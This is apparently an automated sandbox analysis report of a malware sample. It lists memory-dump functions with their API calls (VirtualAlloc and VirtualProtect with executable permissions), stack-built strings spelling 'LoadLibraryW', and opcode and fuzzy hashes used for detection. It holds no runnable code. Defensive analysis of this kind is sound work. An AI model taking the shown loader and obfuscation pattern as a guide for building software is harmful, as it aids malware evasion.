Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 2949231068-4069139063
Opcode ID: 769843bf38530d41096b11dae6196c2951e44647c4c91a11049aa3d590178f21
Instruction ID: d0b6d2d6f073f76ff321bc9a4ae50a009e98f319fcad445024cbbb8fd92210b8
Opcode Fuzzy Hash: 769843bf38530d41096b11dae6196c2951e44647c4c91a11049aa3d590178f21
Instruction Fuzzy Hash: 43C123B2D04664DAE7208A24DC44BEB7B79EF81310F1481FAD80D97681D67E4FC6CB66

Function 029620B5 Relevance: 23.0, APIs: 1, Strings: 12, Instructions: 294COMMON

Download Yara Rule

Strings

L, xrefs: 029623D7
y, xrefs: 0296241D
i, xrefs: 029623FA
b, xrefs: 02962401
a, xrefs: 029623E5
r, xrefs: 02962408
o, xrefs: 029623DE
W, xrefs: 02962424
d, xrefs: 029623EC
L, xrefs: 029623F3
r, xrefs: 02962416
a, xrefs: 0296240F

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 544645111-4069139063
Opcode ID: cfd1d1ccf4a05c8afad597f707698595c81f8c5a4bb31b05db39e26f4435d142
Instruction ID: 8da68d5ed6642abadf9b8d3c30771c2ca8eba717718a7a2a22cd31431f5552ab
Opcode Fuzzy Hash: cfd1d1ccf4a05c8afad597f707698595c81f8c5a4bb31b05db39e26f4435d142
Instruction Fuzzy Hash: 07B1F7B1D042659AE7208B24DC48BEBBBB6EF95300F0441FAD94CA7241D67A4ED5CF92

Function 029621D5 Relevance: 23.0, APIs: 1, Strings: 12, Instructions: 294COMMON

Download Yara Rule

Strings

L, xrefs: 029623D7
y, xrefs: 0296241D
i, xrefs: 029623FA
b, xrefs: 02962401
a, xrefs: 029623E5
r, xrefs: 02962408
o, xrefs: 029623DE
W, xrefs: 02962424
d, xrefs: 029623EC
L, xrefs: 029623F3
r, xrefs: 02962416
a, xrefs: 0296240F

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-4069139063
Opcode ID: da14ae8c06f2685ad03b6847da64e08051a96425e352adaf699d967a5972b677
Instruction ID: 7bc62df49daf9119737963b9e8e996a422890a7724d415453e456b4fcd2f49fc
Opcode Fuzzy Hash: da14ae8c06f2685ad03b6847da64e08051a96425e352adaf699d967a5972b677
Instruction Fuzzy Hash: 12B107B1D042659AE7208B64DC48BFBBAB6EF95300F0441F9D94CA7281D67A0FD1CB92

Function 0296203B Relevance: 23.0, APIs: 1, Strings: 12, Instructions: 223COMMON

Download Yara Rule

Strings

L, xrefs: 029623D7
y, xrefs: 0296241D
i, xrefs: 029623FA
b, xrefs: 02962401
a, xrefs: 029623E5
r, xrefs: 02962408
o, xrefs: 029623DE
W, xrefs: 02962424
d, xrefs: 029623EC
L, xrefs: 029623F3
r, xrefs: 02962416
a, xrefs: 0296240F

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-4069139063
Opcode ID: 1988326a05b98cf1a0ded185ff42b516c1547248ec08ad1e3284204157786049
Instruction ID: 0f6bd89c315d16b873825d137f503530601fca5ec4a2c8054982f056cf9ff08f
Opcode Fuzzy Hash: 1988326a05b98cf1a0ded185ff42b516c1547248ec08ad1e3284204157786049
Instruction Fuzzy Hash: 8A812CB1D046A49AE720C764DC18BEB7AB6AF91310F0540F9C94C6B281D67E0FD5CF92

Function 02962042 Relevance: 23.0, APIs: 1, Strings: 12, Instructions: 220COMMON

Download Yara Rule

Strings

L, xrefs: 029623D7
y, xrefs: 0296241D
i, xrefs: 029623FA
b, xrefs: 02962401
a, xrefs: 029623E5
r, xrefs: 02962408
o, xrefs: 029623DE
W, xrefs: 02962424
d, xrefs: 029623EC
L, xrefs: 029623F3
r, xrefs: 02962416
a, xrefs: 0296240F

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-4069139063
Opcode ID: 76c0e24cc3e59ee7654d7ac2d6d95bb3281b4e38e8664f16ddaa9d689c52f879
Instruction ID: fe8a8b69aa97b457d92db753800329547630135fccb0b984c6f7dd39a7d06344
Opcode Fuzzy Hash: 76c0e24cc3e59ee7654d7ac2d6d95bb3281b4e38e8664f16ddaa9d689c52f879
Instruction Fuzzy Hash: D8813CB1D046A49AE720C764DC18BEBBAB6AF91310F0540F9C94C67281D67E4FD5CF92

Function 029270D0 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 449memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: fb25d921bb9996adecb7f436dc0e5170db6eb520608647257d43fe6d66941192
Instruction ID: 00c843180c34f3bf577747026639915f50a9ba5a1690fbac64cbe5b7bff657da
Opcode Fuzzy Hash: fb25d921bb9996adecb7f436dc0e5170db6eb520608647257d43fe6d66941192
Instruction Fuzzy Hash: 1602E1A2D142689BF7248A24DC44BAAB679FB94310F0481FAD50DAB684D67D0FC58F62

Function 02926EE1 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 449memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: fea7f0688bbbf85a27379939831641a14fc3db0e5b1ff80e6e2f733f09ff2b5f
Instruction ID: bd335c4dda15d9ce8cce6459acd9115ed50660c5d08a6e985a9accac524be4a1
Opcode Fuzzy Hash: fea7f0688bbbf85a27379939831641a14fc3db0e5b1ff80e6e2f733f09ff2b5f
Instruction Fuzzy Hash: 1E02F2A2D142689FF724CA24DC44BAAB779FB94310F0481FAD40DAB684D67D1FC58F62

Function 02926E26 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 417COMMON

Download Yara Rule

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 0-29643960
Opcode ID: 5ca3478816cdc15a498f0303cc86a2e72a97d7a824fb026cabe95488de085e69
Instruction ID: 3317e204493100d20a913c426826537f7cd756ff075e799b533ff637f6abc5bd
Opcode Fuzzy Hash: 5ca3478816cdc15a498f0303cc86a2e72a97d7a824fb026cabe95488de085e69
Instruction Fuzzy Hash: 1AF1F3A2D142689BF720CA24DC44BAAB779FF90310F0481FAD44DAB684D67D5FC58F62

Function 0292722C Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 408memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: 786cc962431d2af92394e959a3d2af061ed35903023aadf4eb7a310eaaa043bf
Instruction ID: 026f6900374647694f4b2f9d46ba5527048750986c05cbd07db0b534e8dd536e
Opcode Fuzzy Hash: 786cc962431d2af92394e959a3d2af061ed35903023aadf4eb7a310eaaa043bf
Instruction Fuzzy Hash: 7FF1F3A2D142688BF724CA24DC44BAAB779FF94310F0481FAD40DAB684D67D4FC58F62

Function 02927250 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 398memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: cb53689f5ce0d9260e266dd455a0c6d321342059bec7995892a4fc94e845db01
Instruction ID: 1196e9c089a66f512841f596f3331ef9011f724a0a8e4a05f1ef26f6ec0b209c
Opcode Fuzzy Hash: cb53689f5ce0d9260e266dd455a0c6d321342059bec7995892a4fc94e845db01
Instruction Fuzzy Hash: 5CF1E3A2D142688BF724CA24DC44BAAB779FF94310F0481FAD40DAB684D67D4FC58F62

Function 0292727D Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 386memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: cbed119e5ed15b91ede6a7d365343e7c8df068eddb4e6b6efe16d635cfeb8da2
Instruction ID: 7058f449486f80f4662128dc323d337fb247fd49ef96a691fc865da8eb6e838b
Opcode Fuzzy Hash: cbed119e5ed15b91ede6a7d365343e7c8df068eddb4e6b6efe16d635cfeb8da2
Instruction Fuzzy Hash: 87E1D2A2D142689BF720CA24DC44BAAB779FF94310F0481FAD40DAB684D67D4FC58F62

Function 02927290 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 383memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: fc5dcf52289f7fec85f36d15c23609fe4b48c9277f4d4ded27dfca984b25284a
Instruction ID: 7b8d3134fedba1897207679e9d340363bb3f3cd7025c25dc19f9e2495c1c8401
Opcode Fuzzy Hash: fc5dcf52289f7fec85f36d15c23609fe4b48c9277f4d4ded27dfca984b25284a
Instruction Fuzzy Hash: C4E1E4A2D142688BF724CA24DC44BAAB779FF94310F0481FAD44DAB684D67D0FC58F62

Function 02926EA4 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 380memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: 70b02c6aaa016ba2cb4a8fe684bb8757ecd7174c2f695cba2b0bcae5e7e52a7c
Instruction ID: 3c568ca250d6bd457ecce84b32ed907d032263dac589f5f1e6c0c14ccae549b6
Opcode Fuzzy Hash: 70b02c6aaa016ba2cb4a8fe684bb8757ecd7174c2f695cba2b0bcae5e7e52a7c
Instruction Fuzzy Hash: 84E107A2D142649BF720CA24DC44BAAB779FF90310F0481FAD50DAB684D67E4FC58F62

Function 02926A92 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 379memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: 2f74dc7c6930b476c9b40f36dc81f323d7a27a79a27b2a5d513c2a33aa8a1b6b
Instruction ID: 00331f84dcfe439c9999ab1a9a259eb27d57a968dbdf5e16c4c3745632d5ef88
Opcode Fuzzy Hash: 2f74dc7c6930b476c9b40f36dc81f323d7a27a79a27b2a5d513c2a33aa8a1b6b
Instruction Fuzzy Hash: 0FE1F5A2D142689BF720CA24DC44BAAB779FF94310F0481FAD40DAB684D67D5FC58F62

Function 02926EBE Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 372memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: 3e57bfafc0562b18b80eddf967cdf0960860d13f48004d0174e7ad811ebe5797
Instruction ID: 2ba0124bdfd4449efad7ea0d153bcdbc98e17af4f70d82d35965968a333f187d
Opcode Fuzzy Hash: 3e57bfafc0562b18b80eddf967cdf0960860d13f48004d0174e7ad811ebe5797
Instruction Fuzzy Hash: C1E1F5A2D142688BF720CA24DC44BAAB779FF94310F0481FAD50DAB684D67D5FC58F62

Function 029272DD Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 372memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: 62814fdda2b4ae882a87055fb4ff028508c30a5eef97f64c18f7bb029f6a8de6
Instruction ID: 31f47784c4b6fcad987cf744d839cad0952868b4353ea4d59f22f83ebe1da753
Opcode Fuzzy Hash: 62814fdda2b4ae882a87055fb4ff028508c30a5eef97f64c18f7bb029f6a8de6
Instruction Fuzzy Hash: C1E1F4A2D142689BF720CA24DC44BAAB779FF94310F0481FAD40DAB684D67D0FC58F62

Function 02927618 Relevance: 21.3, APIs: 1, Strings: 13, Instructions: 344memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Strings

r, xrefs: 02927AE0
y, xrefs: 02927AE7
S, xrefs: 029276A6
L, xrefs: 02927ABD
W, xrefs: 02927AEE
a, xrefs: 02927AAF
d, xrefs: 02927AB6
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$S$W$a$a$b$d$i$o$r$r$y
API String ID: 4275171209-29643960
Opcode ID: d927e30da6ac46c388076bb3a9f4eb0a033cb128782969891e53c428596a0285
Instruction ID: 98b8de642f589e158936076ff63b781b8ef403caed94feb5be32a0c24bfa18c4
Opcode Fuzzy Hash: d927e30da6ac46c388076bb3a9f4eb0a033cb128782969891e53c428596a0285
Instruction Fuzzy Hash: 56D1E3E1D142689AF720CA24DC44BAAB779FF94310F0481FAD44DA7680D67E5FC58F22

Function 029626FE Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 316memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Strings

KCA2, xrefs: 02962B8B
HP<3, xrefs: 0296260C
P5BE, xrefs: 02962573

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: HP<3$KCA2$P5BE
API String ID: 544645111-96660345
Opcode ID: c94f96102e5a137d7e81a5e359c3f4a4d57f7ee2665a8f21c9c7a86ab68c9c2c
Instruction ID: 30d39bc39c766ae26c5eda1f5faa4b128235ca841b8ee3143e2b94bf4edd18fd
Opcode Fuzzy Hash: c94f96102e5a137d7e81a5e359c3f4a4d57f7ee2665a8f21c9c7a86ab68c9c2c
Instruction Fuzzy Hash: C7B1E6B2D0426A9BE7248B24DC98BFABBB5FF81300F0441F9D84D56681D6785EC6CF52

Function 02962612 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 208memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Strings

HP<3, xrefs: 0296260C
P5BE, xrefs: 02962573

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: HP<3$P5BE
API String ID: 544645111-576570839
Opcode ID: 2021d55fa8aa17d553e05794a1f5d0b9edc96f122bb54eae5959c8f279ce0fc1
Instruction ID: 2a69b7df65f5f56e80ddb262efc77c00da115dec51d01bc6c071464024642058
Opcode Fuzzy Hash: 2021d55fa8aa17d553e05794a1f5d0b9edc96f122bb54eae5959c8f279ce0fc1
Instruction Fuzzy Hash: 387128B1D041799AEB208B64CC58BFEBBB5AF85700F0481FAD84D66680E7385EC1CB52

Function 029627E6 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 355memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Strings

KCA2, xrefs: 02962B8B

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: KCA2
API String ID: 544645111-1043864701
Opcode ID: a2caef5a53699bf086019be712c6cb48b275f9a8d44b598343df09d9d46ac1cb
Instruction ID: 6bc6977bae2994c39da08c0660ce40a9ee2a8612035a1aeec5834ebbb7c81bf2
Opcode Fuzzy Hash: a2caef5a53699bf086019be712c6cb48b275f9a8d44b598343df09d9d46ac1cb
Instruction Fuzzy Hash: 84E169B5D4426A8BEB24CB24DC98BFAB7B6FB85300F1441FAD84967241D7395EC1CE81

Function 02942C5D Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

BB4L, xrefs: 02942C5D

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: BB4L
API String ID: 544645111-2802313288
Opcode ID: 7d3b235b95e18b7b794f5bf4ac305970a159c52200a0499fee7af20261973ffc
Instruction ID: 4c5980fb6dafa1f728feffee735baf8753f6a1be4dcf0eef812ae0823861afb8
Opcode Fuzzy Hash: 7d3b235b95e18b7b794f5bf4ac305970a159c52200a0499fee7af20261973ffc
Instruction Fuzzy Hash: 2461A4B1D052299BEB248B64DC94BFAB775FF85300F1081FAE90DA6240EA385AC5CF51

Function 02962A5C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

KCA2, xrefs: 02962B8B

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: KCA2
API String ID: 544645111-1043864701
Opcode ID: 760e5ea2bc2d441876d92dae181e3d4495cc261f3c805dc8054de233d1d031ed
Instruction ID: cfc3a43b50a678affeff121fbe49a267656240edd88f2965555d823073cd68bd
Opcode Fuzzy Hash: 760e5ea2bc2d441876d92dae181e3d4495cc261f3c805dc8054de233d1d031ed
Instruction Fuzzy Hash: AF51E9B2D0426A5BEB208B74CD98BFABBF5EF81341F0841F9C84D56181D6785EC58F92

Function 02962C27 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Strings

BCG9, xrefs: 02962C27

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: BCG9
API String ID: 544645111-2193108473
Opcode ID: 8b9338d83d07224e5625c06c236aa04a90b70e1fa57761cb284419dcb59e6db0
Instruction ID: d2af09b41d250122cf79a6560f421f74b8d18db57aadb53a36c5d9f34f31ee8b
Opcode Fuzzy Hash: 8b9338d83d07224e5625c06c236aa04a90b70e1fa57761cb284419dcb59e6db0
Instruction Fuzzy Hash: 9D51A2B6D442689FE7208B24CC98BEABBB5EF85310F0441F9D94C67680D7395EC68E91

Function 029298C3 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02929D7E

Strings

, xrefs: 02929E17

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: f92fd06a389e390f53019aab11682ed5c3ad9a907e1d88adb8ca729719fefea4
Instruction ID: 7ef319716f2580b30c221d0c9c225a546efb7bded88687648e30ca834c8c7c56
Opcode Fuzzy Hash: f92fd06a389e390f53019aab11682ed5c3ad9a907e1d88adb8ca729719fefea4
Instruction Fuzzy Hash: F191E1B1E042288AEB248B54DC44BEAB775FF84310F2481FAD94D67284E7785EC9CF91

Function 00414BD3 Relevance: 2.0, APIs: 1, Instructions: 520nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 004159C9

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
